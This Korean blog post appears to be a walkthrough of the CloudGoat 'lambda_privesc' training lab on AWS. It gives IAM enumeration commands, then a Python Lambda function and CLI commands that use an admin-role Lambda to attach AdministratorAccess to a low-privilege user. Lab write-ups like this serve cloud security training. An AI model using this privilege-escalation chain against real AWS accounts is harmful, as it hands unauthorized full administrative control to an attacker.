Security/Cloud

[CloudGoat] Scenario "lambda_privesc" - solution

Omoknooni 2024. 8. 30. 17:34

시나리오 목표

Full Admin 권한 획득

 

시나리오 세팅

./cloudgoat.py create lambda_privesc

 

User "Chris"의 Access Key와 Secret key가 주어지며 시작

 

Solution

1. 주어진 User의 Role확인

먼저 enumerate-iam과 같은 툴을 이용해 전체적인 권한을 둘러볼 수 있다.

 

대략적으로 iam 계열의 권한을 확인할 수 있다. 이후 User에 붙은 Role과 Policy를 확인

# User에 연결된 inline Policy 확인
aws iam list-user-policies --user-name [user명] --profile chris

# User에 연결된 Managed Policy 확인
aws iam list-attached-user-policies --user-name [user명] --profile chris

# 특정 Policy 정보 확인 (version 정보 확인)
aws iam get-policy --policy-arn [policy ARN]--profile chris

# 특정 version의 Policy 내용 확인
aws iam get-policy-version --policy-arn [policy ARN] --version-id v1 --profile chris

 

주어진 Chris는 하나의 Policy가 연결되어있고, 그 내용을 확인할 수 있다.

 

IAM 중 list와 get 동작, sts AssumeRole이 가능함을 확인했다.

일단 이 User에 대한 것은 전부 확인했다. 이어서 Role부분을 확인해본다.

 

2. 생성된 Role 확인 및 탐색

cloudgoat로 생성된 Role을 탐색한 결과, 2개의 Role을 발견할 수 있었다. (debug, lambdaManager)

# Role name이 cg로 시작하는 것들을 탐색
aws iam list-roles --query "Roles[?starts_with(RoleName, 'cg')]" --profile chris

 

Debug Role은 lambda 서비스에 대해 Assume Role이 가능하도록 제한되어있고, lambdaManager Role은 처음에 부여받은 chris가 Assume할 수 있도록 지정된 것을 확인할 수 있다.

 

 

User 탐색과 마찬가지로 각 Role들의 Policy를 확인한다.

# 특정 Role에 연결된 Managed Policy 확인
aws iam list-attached-role-policies --role-name [role명] --profile chris

# 특정 버전의 Policy 확인
aws iam get-policy-version --policy-arn [policy ARN] --version-id v1 --profile chris

 

debug Role은 AdminstratorAccess, lambdaManager Role은 lambda에 대한 action이 가능한 것을 볼 수 있다.

 

각 Role들을 확인한 결과, chris가 lambdaManager Role을 Assume해, debug Role을 할당한 lambda 함수를 생성하면 AdministratorAccess 권한을 가진 Lambda 함수를 생성하고 실행할 수 있게 되는 것이다.

따라서, chris User에 AdministratorAccess Policy를 attach하는 lambda를 생성하고 invoke하면, 최종적으로 chris는 AdministratorAccess 권한을 갖게되는 것이다.

 

3. Exploit

CLI를 통해 lambda함수를 생성하기 위해 함수 파일을 만든 후, zip으로 압축한다.

import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    
    # chris에게 Policy를 Attach
    response = client.attach_user_policy(
        UserName='[chris User명]',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return response
zip -r vuln_lambda.zip vuln_lambda.py

 

 

해당 파일로 lambda 함수를 생성

aws lambda create-function --function-name vuln_lambda \ 
  --role [lambda에 연결할 role의 ARN, debug role의 ARN] \ 
  --runtime python3.10 \ 
  --handler vuln_lambda.lambda_handler
  --zip-file fileb://vuln_lambda.zip 
  --profile lambdaManager 
  --region ap-northeast-2

 

생성한 lambda함수를 invoke

aws lambda invoke --function-name vuln_lambda \ 
  --profile lambdaManager \ 
  --region ap-northeast-2 \ 
  out.json

 

함수가 invoke되면 내용에 따라 Chris User에 attach된 Policy를 확인할 수 있다.

 aws iam list-attached-user-policies --user-name [chris User명] --profile chris

 

시나리오 정리

./cloudgoat.py destroy lambda_privesc